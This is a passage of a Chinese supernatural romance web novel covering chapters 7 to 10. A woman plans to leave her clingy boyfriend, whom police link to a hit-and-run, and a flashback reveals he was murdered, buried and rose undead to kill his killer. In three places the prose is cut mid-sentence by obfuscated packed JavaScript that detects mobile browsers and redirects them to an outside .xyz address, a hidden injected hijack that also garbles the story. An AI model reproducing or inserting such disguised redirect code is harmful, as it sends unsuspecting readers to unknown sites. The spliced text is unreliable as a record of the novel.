“当然是注意不要刺激到他啊!”宋佳宁语重心长地说,“你看这次,你们只是吵了一架,他都能一个人跑山上待大半个月,下次要是再受刺激,他不得伤心地跳楼啊!” 郁言:“应该不至于……” “什么应该不至于,人一旦想不开什么事都能做得出来的,你可不要不当回事!” 郁言心想,他连最痛苦的时期都扛过来了,怎么可能因为分手这种小事就寻死觅活。 更何况他们才交往不到半年。 宋佳宁继续劝道:“总之你尽量委婉点,别急,反正你也不讨厌他,对吧?” 郁言想起这两晚和他相拥而眠的感觉。 她当然不讨厌他,否则不会容忍自己跟他这么亲密。 “我明白,我也不想伤害他。”郁言低声说,“这次我会小心,等他恢复得差不多了再跟他提分手的事。” “恢复什么?”宋佳宁不解,“你不是说他没事吗?” “还是有点小毛病……”前面隐约传来脚步声,郁言话音一顿,没有继续说下去,“不聊了,我先回去了。” 宋佳宁:“好,你去休息吧,有事记得找我。” “你也是。” 郁言挂断电话,与迎面而来的同事点头致意,然后转身离开。 在她走后,不远处的拐角又走出一个人。 着装考究,五官周正——正是之前在部门聚餐结束后送她回家的林让。 郁言并不知道,自己早在路过茶水间的时候就被林让看见了,之后他便一路跟到这里,躲在拐角后面偷听她接电话。 林让原本只是想看看她一个人去哪儿,没想到居然听到了她和别人的通话内容,更没想到还有意外收获。 原来她根本不喜欢她的男朋友,而且他们已经分手了。 听她那意思,似乎那个男朋友不愿意分手,还在纠缠她……? 一想到郁言孤立无援、焦头烂额的样子,林让不由一阵窃喜。 她那个男朋友一看就不是个善茬,她又柔柔弱弱的,现在一定很头疼吧? 这种时候,只要他不计前嫌,主动为她排忧解难,想必很容易就能获得她的感激与好感…… 太好了,他的机会终于来了。 * 郁言回到工位,稍微歇了一会儿,很快便继续投入工作。 下午贺舒流又给她发了不少消息,还附了一些照片,有些是在医院拍的,有些是在超市和路边,就连买了一支冰淇淋都要拍给她看。 换作以前,郁言最多发点表情包就算敷衍过去了,但今天却认真地看了每一条消息和照片,然后再一条条回复。 她牢记宋佳宁的指示,温和、包容、耐心十足。 大概是她的回应让贺舒流备受鼓舞,他很快又发来一条信息。 【你今天不加班吧?我去接你好不好?】 郁言想了一下,回了个简短的“好”。 其实完全没有这个必要,但她不想让贺舒流有被拒绝的感觉。 至少不是现在。 下午六点半,郁言准时下班。 电梯里挤满了人,郁言刚走出一楼大厅,林让便从后面追了过来。 “郁言!等等……” 郁言听到有人叫她,扭头向后望去,随即露出有些惊讶的表情。 那不是林让吗?都下班了,他喊她干嘛? “请问有事吗?”她客气地问。 “其实也没什么事,就是有些工作上的事想请教你。”林让在她面前停下,不好意思地挠挠头,“你这会儿方便吗?不会耽误你太长时间……” 郁言想都没想就拒绝了:“抱歉,我约了车,有什么事等明天上班再说吧。” “但我真的很急,等明天就来不及了!”林让见她要走,连忙伸手拦住,“要不我送你回去吧,我住锦绣苑,刚好和你家顺路,你可以在路上指导我。” 郁言皱了下眉。 她跟林让虽然同属一个部门,但负责的工作并不相同,平时交集也很少,根本没有什么必须要找她才能解决的事情。 更何况现在已经下班了,谁要在下班时间处理工作上的问题? 郁言眉头一皱便要拒绝,林让见状,立即又补充一句:“我请你吃饭!只要你帮我这一回,想吃什么都可以……” 话未说完,后方突然响起一道冰冷的声音。 “怎么又是你?” 郁言一调头,看到贺舒流大步走了过来。 他今天戴了顶帽子,衣服颜色也是最基础的黑白配,所以在乌泱泱的人群中并不显眼。 郁言本以为他会卡点来,但他一眼就在人群中找到了自己,估计已经在这里等了很久…… 今天室外热得要命,他现在这个身体状况,能受得了吗? 郁言视线下移,落到他过分苍白的手臂上,不由有些担心。 林让没想到竟然这么巧,刚想接近郁言就又撞上她这个男朋友,脸上顿时有点挂不住。 但他转念一想,郁言现在又不喜欢这家伙,他紧张什么? 就算他们之间真的有人紧张,也应该是这家伙才对。 一想到郁言很快就会跟贺舒流分手,林让忍不住幸灾乐祸,底气也立马足了起来。 “不好意思,我有一些工作上的事情想请教郁言,并没有别的意思。”林让挺直腰杆,做出一副正直谦逊的姿态。 “不是要请吃饭么,这也是工作上的事情?”贺舒流嗤笑一声。 “麻烦同事帮忙,请吃一顿饭很正常吧?我觉得你有点小题大……” 林让振振有词,本想借此机会在郁言面前刷一波好感,然而一抬头,却发现贺舒流脸上的讥讽已经不见了。 那双漆黑的眼瞳正自上而下,平静俯视,毫无波澜地看着他。 林让突然一阵恶寒,鸡皮疙瘩爬满全身。 是他的错觉吗?这家伙明明是个大活人,为什么眼神这么瘆得慌…… 林让突然不敢和他对视了,连忙收回视线,掩饰性地干笑两声:“不过也是,下班还聊工作确实不太好,还是以后再说吧。” 说完,他像上次一样迅速离开,将郁言二人留在原地。 郁言一脸无语:“这人是不是有病?” 贺舒流笑了一下:“确实有病。” “算了,我们回家吧。”郁言边说边往外走,“忙了一天,我快饿死了……” 贺舒流牵起她的手,无比自然地与她十指相握。 郁言指尖微动,任由他握满自己的手,没有再像上次那样拍开他。 贺舒流弯起嘴角,心满意足地跟她一起向停车场走去。 * 到家后,郁言出了一身汗。 这两天实在太热了,只是在外面走几步都热得不行,像被放在蒸笼上一样。 郁言打开冰箱拿了一瓶冰水,扭头一看贺舒流还是清清爽爽的样子,别说是出汗了,连脸都没红。 说起来,他牵她手的时候也是,手心干爽冰凉,比她这个刚从公司出来的人还要凉。 要知道他们公司的空调一向都往死里开,不多穿点甚至能冻感冒…… 郁言关上冰箱,认真地问:“今天的检查结果怎么样?” “嗯?”贺舒流摘下帽子,听到她这句提问,轻描淡写地答道,“没什么问题,医生说就是有点体虚,可能是那天雨淋多了,休息一段时间就好。” “就这么简单?”郁言有点狐疑。 他的体温明显比常人低太多,怎么也不像是没什么问题的样子。 “当然。”贺舒流眨了下眼,“你很希望我有问题吗?” 郁言当然不是这个意思。 她只是担心贺舒流得的是什么疑难杂症,普通体检查不出来,所以才将其归结为体虚。 但话又说回来,如果贺舒流真的有哪里不舒服,根本不可能这么轻描淡写。 要知道他以前可是连感冒都要大张旗鼓地告诉她,生怕她不知道,为的就是让她心疼他,时时刻刻想着他、陪着他。 这么一想,郁言又放心不少。 既然医院没查出问题,他自己又没什么觉得哪里不适,那应该就是简单的体虚吧。 即便真的是疑难杂症,看他现在的状态,估计也不是什么大病。 反正只要人活着,慢慢修养,按时治疗,以后总能恢复正常。 她能做的,就是让他保持平和稳定的心态,尽量不刺激他。 等他恢复得差不多了,再提分手也不迟。 佳宁说得对,毕竟贺舒流情况特殊,这种事急不得。 “好吧,既然医生都这么说,那你就好好休息,不要再去那些奇怪的地方了。”郁言边说边打开外卖软件。 “好。”贺舒流探头凑过来,“你在看什么?” “外卖。”郁言说,“这段时间你就别做饭了,我们点外卖或者出去吃都可以,或者我来做也行,只要你不嫌难吃……” 毕竟常年独居,做饭这种事情她还是会的,但也仅仅只是“会”而已。 不到万不得已,她是不会自己做饭的,除非她一开始就做好了浪费食物的准备。 “你做的话,会像现在这样每天好好吃饭吗?”贺舒流好整以暇地问。 郁言想了一下:“……不会。” 贺舒流笑了:“那还是我来做吧。” 自己都虚得没有血色了,还关心她每天能不能好好吃饭? 郁言抿了下嘴唇,那点微妙的负罪感又涌了上来。 “你别管了,先去洗澡,我点什么你吃什么。” 她不由分说地将贺舒流往浴室推,不等贺舒流出声便把门关上,又去卧室拿一套干净衣物,直接从门缝塞了进去。 她可不想压榨病人。 在贺舒流洗澡的时候,郁言点了一份烤鸭和两份小馄饨。贺舒流洗完,她又接着去洗,等她也洗完澡,外卖终于送来了。 两人吃完晚饭,已经八点多了。 贺舒流打开电视,挑了一部电影,然后关掉客厅的灯,拉着郁言在沙发前坐下。 屋里顿时黑了下来,只有电视屏幕闪烁着跳动的光芒。 郁言看着熟悉的片头,讶异道:“这部电影不是看过了吗?” 贺舒流侧头看她,眼睛亮晶晶的:“你还记得?” 她当然记得。 郁言避开他的视线:“我又不是老年痴呆。” 这是他们去年一起去影院看的电影,就是在这部电影结束后,贺舒流对她表白了。 郁言当时毫无准备,因为真的太突然了。 那只是一个普通的周末,她闲得无聊,刚好对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098944|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新上映的一部恐怖片比较感兴趣,于是就约了贺舒流一起去看,看完还能顺便吃个晚饭,省得她自己在家折腾。 贺舒流准时赴约,见到她也一直笑吟吟的,但电影开场后,反而有些心不在焉。 也许他对这部电影并不感兴趣,只是不好意思拒绝,才答应出来陪她。 郁言这样想着,全程没有打扰他,自己默默看完了整部电影。 平心而论,拍的是很一般,算不上烂片,但也没什么惊喜。 难怪贺舒流没兴趣。 散场后,天已经黑了,影院外下起了淅淅沥沥的小雨。 郁言想去买把伞,贺舒流轻轻按住她的肩膀,说了句“等一下”,接着便一个人冒雨跑了出去。 郁言不知道他去干嘛了,又不好走远,只能乖乖站在影院门口,看着夜幕下的细密雨丝。 不一会儿,贺舒流举着把伞回来了。 伞是长柄的,黑色伞面,木质手柄,正是她当初送给贺舒流的那把。 郁言有点惊讶:“你知道今天会下雨?” 贺舒流的眼底浮起一丝小得意:“你没看天气预报?” 郁言:“……” 这有什么好得意的? 虽然心里吐槽,但伞在贺舒流手里,她还是明智地选择闭嘴。 贺舒流将伞举过她头顶,她看了他一眼,低头钻到伞下。 雨丝似乎更密集了,两人共撑一把伞,在雨里慢慢走着。 郁言渐渐觉得有点不自在。 这把伞并不算大,想要不被雨淋到,就只能和贺舒流紧挨着走。 但是,这个距离……未免也太近了。 她试图说点什么来转移注意力:“抱歉啊,让你陪我看这么无聊的电影。” “还好啊。”贺舒流说,“我觉得挺有意思的。” “没事啦,我也觉得无聊。”郁言看着伞沿上的雨珠,“我几次见你都心不在焉的,其实那个时候我也在发呆。” 贺舒流闻言,忽然停下脚步,侧过头来看她。 “你发现了?” 郁言不明所以,也跟着他停下:“嗯。不过我不是故意偷看,我只是……” 她没有继续说下去,因为贺舒流正用那双漆黑通透的眼睛,过于专注地看着她。 太专注了,让她心跳加快,整个人莫名紧张起来。 “……怎么了?” 贺舒流没有回答,而是注视她的眼睛,微微俯身凑近她。 “言言。” 他太近了,近到郁言能闻到他身上香甜的爆米花味。 他声音很轻,几乎被四周的雨声覆盖,眼睛却很亮,在夜色的映衬下晶莹剔透,闪动着毫不掩饰的热意。 “我们交往吧?” 郁言愣住了。 也许是当时的气氛太好,也许是他的目光太有迷惑性——她几乎没有思考,就这么鬼使神差地答应了下来。 现在想来,贺舒流的心思一开始就不在电影上。 此刻也是一样。 也许他想用这部电影让她记起曾经的甜蜜,但她的内心已经不会再有波动了。 郁言避开贺舒流期待的目光,平静起身:“我去切西瓜。” 贺舒流眼里的期待瞬间消失了。 明亮的瞳孔随之黯淡,他看着郁言的背影,脸上闪过一丝失落与难过。 他敛下睫羽,不言不语。再次抬眼时,脸上的神情已经恢复如常。 郁言从冰箱里拿出西瓜,放到菜板上。又从刀架上取出一把刀,正要对准西瓜切下去,一只明显宽大的手伸了过来。 “我来吧。”贺舒流悄无声息地出现,无比自然地从她手里顺走菜刀,“你想切成什么形状?” 郁言:“……我想切成你的形状,可以吗?” 贺舒流顿了一下:“我是什么形状?” 郁言:“……” 这个对话,好像哪里怪怪的? 她瞪了贺舒流一眼,后者轻笑了下,开始专心切西瓜。 郁言走到另一边,打开柜门,将果盘和叉子拿出来。 就在她关柜门的时候,忽然听到贺舒流发出一声极轻的抽气声。 “怎么了?”她立即放下盘子,快步走过去。 贺舒流已经放下刀,正握着左手食指,放在水龙头下冲洗。 见她过来,他抬头不在意地笑了笑。 “没事,溅了一手西瓜汁。” “没切到手吧?这把刀很锋利的。”郁言担心地问。 贺舒流眼巴巴地盯着她:“你在担心我?” 郁言懒得跟他扯皮,直接把他的手拉过来仔细查看。 除了被水冲洗得湿漉漉的,他的手上完全没有任何伤口,也没有被刀划过的痕迹。 ……奇怪,居然真的没切到手? 那他抽什么气? “我就说吧?”贺舒流挑了下眉。 郁言放下心来,没好气地说:“你还是去看你的电影吧,这里我来收拾。” 说着把他推出厨房,接着回到水池前,将菜刀冲洗干净,再拿出保鲜膜,准备蒙在剩下的半边西瓜上。 忽然,她发现西瓜上有一块颜色略深的果肉。 准确地说,不是果肉,更像是溅在上面的一滴……血迹? 郁言感到奇怪,伸手在这滴深红色的液体上轻点一下,然后送到嘴边,试探性地尝了尝。 虽然被西瓜汁稀释了不少,但她还是在入口瞬间,尝到了浓烈的铁锈味。 ——这的确是一滴血。 8. 第 8 章 看着这滴被稀释的鲜血,郁言有种难以形容的诡异感。 西瓜是刚切的,除了贺舒流,没有其他人可能将自己的血溅在上面。 但贺舒流手上并没有伤口。 那这滴血……又是如何出现的? 郁言想起贺舒流刚才那声极轻的抽气。 如果只是不小心溅到西瓜汁,应该不至于抽气。 而且他刚才冲洗的时候一直捂着左手食指,比起冲洗这个行为本身,倒像是不想被她看见一样。 难道他确实切到手了,只是伤口很细微、很隐蔽,所以她才没有发现? 郁言又看了眼那滴血,决定出去再问问贺舒流。 就在这时,门铃声突然响了起来。 正在摆放果盘的贺舒流听到门铃声,与郁言对视一眼,站直身子朝玄关走去。 郁言继续处理西瓜。 防盗门打开了,隔着客厅,门外传来一个中年男人略迟疑的询问。 “你好……请问郁言郁小姐在家吗?” 紧接着响起贺舒流明显不善的声音:“你们是谁?” 郁言一听到这个声音,迅速赶过去。果不其然,站在门外的是之前上门调查的那两名警察。 她惊讶地睁大眼:“警官,有什么事吗?” 贺舒流听到她脱口而出的称呼,眸光隐约闪烁一下。 “关于上次的失踪案,还有一些细节我们想再核实一下。”较年长的那名警察沉稳回答,同时将目光转向贺舒流,“这位……应该就是贺先生了吧?” 贺舒流侧了侧头,神色不变:“你认识我?” “我给人家看过你的照片。”郁言白了他一眼,转头对警察说道,“他就是贺舒流,目前暂住在这里。您想核实什么?” ——暂住。 贺舒流眼睫微动,视线划过她的侧脸。 “还是失踪当天的细节。”警察看向贺舒流,“既然当事人也在,那我们就直接问了。” “贺先生,你们吵架的那天晚上,你从这里离开后,一个人去了哪里?” 郁言微微蹙眉。 今天这两个警察的态度似乎比前几次严肃很多,询问贺舒流的语气也不像是普通的调查,倒更像是审讯。 他们是调查到了什么不好的事情吗? 然而,面对警察令人紧张的目光,贺舒流这个当事人却没什么感觉。 他摸了摸下巴,似乎回忆了一会儿,然后不以为意地说:“没去哪儿,那天我整晚都在外面乱晃。” “那之后呢?没有回家?” “我为什么要回家?”贺舒流用一种看白痴的眼神看他们,“那里又没有言言。” 郁言怀疑他的脑子也被西瓜汁溅到了。 两名警察对视一眼:“既然没有回家,那你失踪的这段时间都在哪里?” “我去山上调整心情了。”贺舒流说。 “什么山?位置在哪里?” “什么山我不清楚,反正就在郊区那一带,那里的山都差不多吧?”贺舒流露出思考的表情,“可能叫安禄山?还是安什么……” “安度山。”另一个较年轻的警察皱眉纠正他。 贺舒流无所谓地改口:“那就是安度山吧。” 郁言在一旁没吱声。 安度山远离市区,虽然没什么名气,但面积极广,山脉绵延,只要进了山,任何位置都算是“安度山”。 这个位置给的也太笼统了,说了等于没说。 年长的警察脸上闪过一丝古怪:“所以你这段时间一直都在山上,从未下山过?” 贺舒流懒懒地应了一声。 “那你有没有遇到什么人?” “我遇到的人多了去了,你指的是什么人?”贺舒流似笑非笑。 “这个人。”警察掏出一张照片,“你见过吗?” 郁言凑过来跟贺舒流一起看。 照片上的人看着三十左右,男性,中等身材,没什么突出特征,属于扔人堆里就找不着的那种。 贺舒流有点为难:“长成这样,就算见过我也没印象啊。” “你再好好想想。”警察紧盯着他的脸。 贺舒流似乎已经不耐烦了,但看在郁言很尊敬他们的份上,还是配合地给出回答。 “没有。” 两名警察没有放过他的任何一个微表情。 他在回答时姿态放松,呼吸平稳,语气也很干脆自然,完全没有设计或撒谎的痕迹。 “最后一个问题。”年长警察继续提问,“你这段时间有受过伤吗?” “没有。”贺舒流说,“我今天刚去做过检查。你们想知道结果的话,我可以把医院告诉你们。” “不用了。”年长警察对了下记录的内容,点头道,“那打扰你们了,今天就到这里,如果想起照片上的那个人,记得及时告诉我们。” 郁言听得一头雾水。 所以他们大晚上上门调查,就是为了问这些? 她见两人转身要走,连忙出声:“警察同志,可以问一下照片上的那个人是怎么了吗?莫非他也失踪了?” 警察闻言,先是看了贺舒流一眼,然后对郁言说:“方便出来说话吗?” 这个意思……是要避开贺舒流? 是不是怕接下来的对话会刺激到他? 郁言不明所以,但还是安抚地对贺舒流点点头,示意他留在家里,自己则跟着警察走到楼道口停下。 “这里应该听不见了吧?” “这个距离够远了,我们声音小点,听不到的。” “好。” 两名警察小声嘀咕了两句,然后正色看向郁言。 “这个案子本来不该对你透露的,但考虑到情况特殊,我们也就不隐瞒了。”年长警察低声道,“照片上的那个人不是失踪,是死了。” “死了?”郁言心下一惊。 警察点头:“这个人叫黄文轩,就在你们吵架的那天晚上,他开车撞了人,肇事逃逸,直到今天我们才在山上找到他的尸体。” 郁言不解:“你是说,他开车撞了人,结果他自己也死了?” “对。”警察说,“而且已经排除是自杀。” “所以他撞了人后,自己也被别人杀死了……”郁言还是没搞明白这其中的逻辑,“但这跟我和贺舒流有什么关系?” “因为有一处监控拍到了他开车撞人的画面。” “被撞的那个人,跟你的前男友——也就是贺舒流,”警察看了眼楼道尽头的防盗门,压低声音,语气凝重,“……长得一模一样。” * 楼道里的感应灯已经灭了,防盗门虚掩着,幽幽光亮从门缝中渗透出来。 贺舒流站在玄关处,微垂着头,静静听着楼道里的声音。 那两名警察的声音的确很小,放在正常人身上,别说是关着门了,就算是把门拆了也根本听不见他们在说什么。 但他能听见,一清二楚。 很显然,他们已经在怀疑他了。 贺舒流其实早就预料到会是这个结果。 现场留下的痕迹太多了。 他并不是故意留下破绽,只是太过心急,急着想要见到郁言,根本没有心思顾及其他。 没有人知道他经历了什么。 那天晚上,被郁言撵走后,他一个人在路上游荡,漫无目的,失魂落魄。 深夜的街道昏暗、寂静、空旷无人。 贺舒流不知道自己走到了哪里,也不关心自己会走到哪里。 他的脑海里一直回响着郁言对他说的那些话,如同尖锐的利刃,一遍遍在他身上切割、穿刺。 他不明白。 不明白自己做错了什么,不明白郁言为什么抛弃他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098945|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她甚至不给他改错的机会。 是因为那个讨厌的同事吗?如果她不喜欢他的态度,他可以改。 只要能让她满意,让他做什么都可以。 唯独不能让他离开。 他不能离开她。只有待在她身边,他才能活下去,才能感受到活着的意义。 对,他要回去,他要见到她。 也许她说的都是气话。只要他好好道歉,他们就会和好如初…… 渴望见到郁言的心情越来越强烈,贺舒流抹掉脸上的泪痕,转身往回走。 就在这时,一辆越野车突然冲了过来。他转过脸,迎面而来的强光刺得他睁不开眼—— 只听一阵刺耳的刹车声,越野车猝然停下。 一个拿着手机的男人慌忙下车,看到躺在地上的贺舒流,顿时吓得脸色煞白。 “完、完了……” 他被撞得太严重了。 全身骨头断了大半,手臂翻折,皮开肉绽,整个人躺在血泊中一动不动。 男人手忙脚乱地蹲下,想把贺舒流抬起来,却又不敢乱动,急得出了一头汗。 “喂,你怎么样了?你还活着吗?你可千万别死啊!” 贺舒流根本听不清男人说了什么,只觉得全身痛得要命,不断有黏稠的鲜血从他体内汩汩流出。 ……他要死了?这么快? 但他还没见到言言……还没回到她的身边。 至少,不是现在。 再给他点时间,至少让他见到言言…… 那个聒噪的男人还在试图叫醒他。见贺舒流一直没有反应,男人越来越害怕,于是伸出手,颤巍巍地探了探他的鼻息。 呼吸微弱,瞳孔涣散。 就算现在送到医院,这人恐怕也很难救活了。 撞死一个人要赔多少钱?要坐牢吗?肯定要坐牢的吧?! 他才三十出头,他的大好人生才刚开始……不行,他绝不能坐牢! 男人看着奄奄一息的青年,遍体生寒,心里渐渐生出一个大胆的想法。 他先警惕地看了看周围。好在这个路段比较偏僻,他看了一圈也没发现摄像头,更没看到其他车辆路过。 他迅速返回车上拿了双手套戴上,然后打开后备箱,拖动血泊中的贺舒流,像搬货物那样把他搬了上去。 这个过程对伤患无疑是二次伤害,但男人已经顾不上这些了。 把贺舒流搬到后备箱后,他又拿出一瓶水和毛巾,将地上的血迹冲洗干净。等做完这一切,他才回到驾驶座,调转车头,往郊区的方向飞驰而去。 车开了一个多小时,颠簸摇晃,终于在一片荒无人烟的山坡停下。 车门打开,男人背着登山包下车,将贺舒流从后备箱拖出来,又拖着他一路上山,最后找了个隐蔽的地方,从包里拿出一把铁锹开始挖坑。 贺舒流无法动弹,眼睛上蒙了一层血,每一次呼吸都牵扯着五脏六腑,带动着更多鲜血流涌而出。 这个人要在这里埋了他。 他想离开这里,却连一根手指都动不了。 他还能撑多久? 言言还在生他的气,一定不会主动来找他。 但他想见她。 就算是死,也要死在她身边…… 贺舒流睫毛颤动,胸膛起伏的频率忽然急促。 正在奋力挖坑的男人注意到了他。 他用手电筒照了照,见他还吊着口气,先是震惊地瞪大双眼,接着像是下定了某种决心,从登山包里掏出一把折刀。 “兄弟,对不住了。反正你也活不了,不如我帮你一把……” 男人咬咬牙,举起折刀,对准贺舒流的脖颈,猛地捅了下去—— 贺舒流的瞳孔瞬间放大。 鲜血喷溅,一只蝴蝶悄然无声地在他颈间停落。 他彻底失去了呼吸。 9. 第 9 章 夜色沉寂,山间回荡着铁锹挥舞的沉闷声响。 黄文轩挖了将近半小时,终于挖出一个可以容纳成年男性的深坑。 他气喘吁吁地丢掉铁锹,擦了把头上的浊汗,扭头看向躺在一旁的尸体。 尸体已经凉透了,肤色惨白,鲜血凝固在洞开的脖颈处,引来成群的蝴蝶大快朵颐。 据说有些品种的蝴蝶喜欢吸食鲜血,没想到居然是真的。 黄文轩顾不上欣赏这一奇观,抬手将眼皮上的汗珠擦掉,来不及歇口气便马不停蹄将尸体往坑里搬。 再怎么说这也是一具尸体,他可不想和尸体待在这种阴森森的地方。 之前自保心切,他都没发现这小子身上还挺结实,看着高高瘦瘦的,搬起来还挺沉。 还好刚才补了一刀,不然以这体格,说不定还真能多撑一会儿。 黄文轩一边庆幸,一边吭哧吭哧往坑里填土,又忙活了一阵,终于把尸体埋好了。 为了不让人发现,他还拔了些杂草铺在上面,制造这里没有被动过的假象。 忙完这一切,他收拾好工具,戴好口罩和兜帽,一个人偷偷下山。 * 山上重归死寂。 群聚的蝴蝶失去了食物来源,在埋尸点上方徘徊一会儿,渐渐扑扇着翅膀各自散去。 贺舒流静静躺在潮湿冰冷的地下,没有呼吸,没有心跳,没有任何生命体征。 但奇怪的是,他仍然有意识。 他能听到土壤里窸窸窣窣的爬虫声,能嗅到浓烈的鲜血味和土腥味,能看到渗进眼睛里的蝴蝶鳞粉,也能感受到躯体各处传来的钻心剧痛。 已经失去心跳的人还能感受到疼痛吗? 贺舒流不知道,他只知道现在的状态比死了还要痛苦。 他甚至希望那个人回来再补一刀,这样他就能彻底失去意识了。 脖子好痛,眼睛好痛,胳膊好痛,肋骨好痛…… 全身都好痛,痛得他恨不得剁了自己。 为什么他没有死? 为什么他还没有死? 如果能彻底死掉就好了。 可是……死了就再也见不到言言了。 体内的血液似乎已经流尽了,贺舒流躺在无边无际的黑暗中,被疼痛折磨得意识昏沉,脑海中却不受控制地浮现出郁言的脸。 他不想和她分开。 他还想见到她,还想继续和她在一起。 一瞬间,身上的痛感似乎更强烈了,细细密密的刺痛侵蚀着他的神经,却不是来自碎裂的断骨,而是来自四肢和皮肉。 贺舒流无法转动眼睛,只能从那些细碎的声音和触感判断,自己正在被土壤里的爬虫撕咬、啃噬。 照这样下去,就算他能一直留有意识,很快也会被这里的蚊虫蛇蚁分食干净。 必须撑住……就算再疼也要撑住。 直到见到言言为止。 * 黄文轩胆战心惊地回去了。 被吵醒的妻子迷迷糊糊地问他怎么现在才回来,他随便敷衍了几句,便把自己关进了储藏室里。 他撞了人,还把那人埋在了荒郊野岭。 一旦被警察发现,他这辈子就毁了。 然而事已至此,反悔也来不及了,只能对天祈祷自己顺利躲过这一劫。 就这样,黄文轩战战兢兢地度过了一周。 在发现自己的生活并未发生变化,也没有警察上门调查他后,他的心态逐渐平稳下来,也不再想东想西。 他想,自己的运气果然很好。 等这件事彻底过去之后,他一定要去寺庙给佛祖上香,感谢他老人家的庇护。 然而就在他以为自己已经安全了的时候,一则天气预报突然让他慌乱起来。 这是拂阴市当地的天气预报,预报说今晚会有强降雨,山区附近可能会有泥石流等灾害,市民们应避免前往危险地带,确保自身安全。 那个倒霉鬼就被他埋在山上,如果真的发生泥石流,那尸体会不会被暴雨冲出来? 黄文轩越想越慌,一直惴惴不安地坐到晚上,最终还是决定去安度山看看。 他从衣橱里拿出一件防水的棕色外套穿上,又翻出手套和登山包,趁着妻子熟睡,蹑手蹑脚地出了门。 和天气预报说的一样,雨果然越下越大。 等黄文轩到山上的时候,山路已经被暴雨浇灌得泥泞不堪,行走也变得十分艰难。 他举着手电筒,费了好大功夫才找到埋尸点。 原本铺在上面的杂草已经被暴雨冲刷得不知所踪,湿烂的土壤微微下陷,露出密密麻麻的、细小干枯的死虫子。 黄文轩咽了下口水,莫名有点发怵。 这里怎么会有这么多死虫子?这些虫子都是从哪儿钻出来的? 这真的是他埋尸体的地方吗?不会找错了吧? 他越想越不确定,于是拿出铁锹,决定亲自确认一下。 有了暴雨的冲刷,这次的土壤非常好挖。黄文轩只挖了十几分钟,就看到了被血染黑的衣角。 还好,没有找错。 以防万一,还是重挖一个更深的坑吧。 黄文轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098946|179762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打定主意,冒着大雨继续往下挖。在他的努力下,尸体上的泥土越来越少,一点点露出那张死气森森的面孔。 惨淡的月光下,密集的雨水打在贺舒流的脸上,将他的肤色映衬得苍白冰冷,有种说不出的幽静剔透。 黄文轩看着这一幕,难以置信地瞪大双眼。 这家伙明明已经死了这么长时间了,为什么一点僵硬腐烂的迹象都没有,甚至还和生前一样鲜活? 这也太诡异了…… 这种难以解释的反常现象让黄文轩忍不住小心凑近,想要仔细观察这具尸体的特别之处。 就在这时,安静得如同睡着一般的贺舒流骤然睁开眼。 黄文轩惊得倒吸冷气,慌忙起身后退。 下一秒,一只修长苍白的手穿过他的胸膛,掏出一颗血淋淋的东西。 黄文轩呆呆低头,目光下移—— 这颗温热的、血淋淋的东西,是他的心脏。 “你、你到底是人……还是鬼……” 他喉咙里发出恐惧的质问,身子晃了晃,没有等到回答便重重倒了下去。 贺舒流扔掉心脏,双手撑着泥泞的地面,从深坑里慢慢爬了出来。 他的衬衫已经被血染成黑褐色,身上遍布大大小小的伤痕,脖子更是血肉模糊,一个几乎贯穿的血洞赫然嵌在颈侧。 他敛下眼睫,看着躺在暴雨中的黄文轩,半蹲下来,将手覆上他汩汩流血的胸膛。 他的手刚一覆上去,流淌的鲜血就像被一种无形的力量吸收一般,尽数汇入他的手心。 与此同时,他的身体也在发生变化。 那些狰狞可怖的伤口以肉眼可见的速度飞快愈合,血肉再生,暴露在外的断骨也不可思议地拼接补全。 很快,他就恢复了完整无瑕的样子。 而被他吸取血液的黄文轩,已经变成一具枯槁干瘪的尸骸。 和那些虫子一样。 贺舒流站直身体,身形逐渐挺拔舒展,夜色下如竹修长。 被大雨折射的月光落在他身上,照亮了他的眼睛,乌漆墨黑,却没有一丝光泽。 他看了看自己的手,鲜血顺着雨水流淌,散发出浓烈的血腥气。 他是人?还是鬼? 他现在到底是什么? 他不知道,也不关心。 他只知道,他活下来了。 也许他已经死了,但这不重要。 重要的是,他又可以见到言言了。 他会回到她的身边,像以前一样,继续和她在一起。 一切都不会改变。 10. 第 10 章 “一模一样?”郁言惊讶道,“是什么程度的撞伤?严重吗?” “非常严重。”警察沉声道,“轻则瘫痪,重则死亡。” 这么严重?那被撞的肯定不是贺舒流。 郁言记得很清楚,那天半夜他冒雨回来,虽然全身都湿透了,但并没有受伤的迹象。 “会不会是你们看错了,只是被撞的那个人跟他长得比较像而已?”她试探地问。 “我们一开始也是这么想的,但我们后来仔细比对了,确定没有看错。”警察语气坚定。 这还要感谢那个黄文轩的眼神不好,没有发现车祸现场的监控摄像头,就这么肆无忌惮地拖着受害者上了车,这才让监控拍到了受害者的正脸。 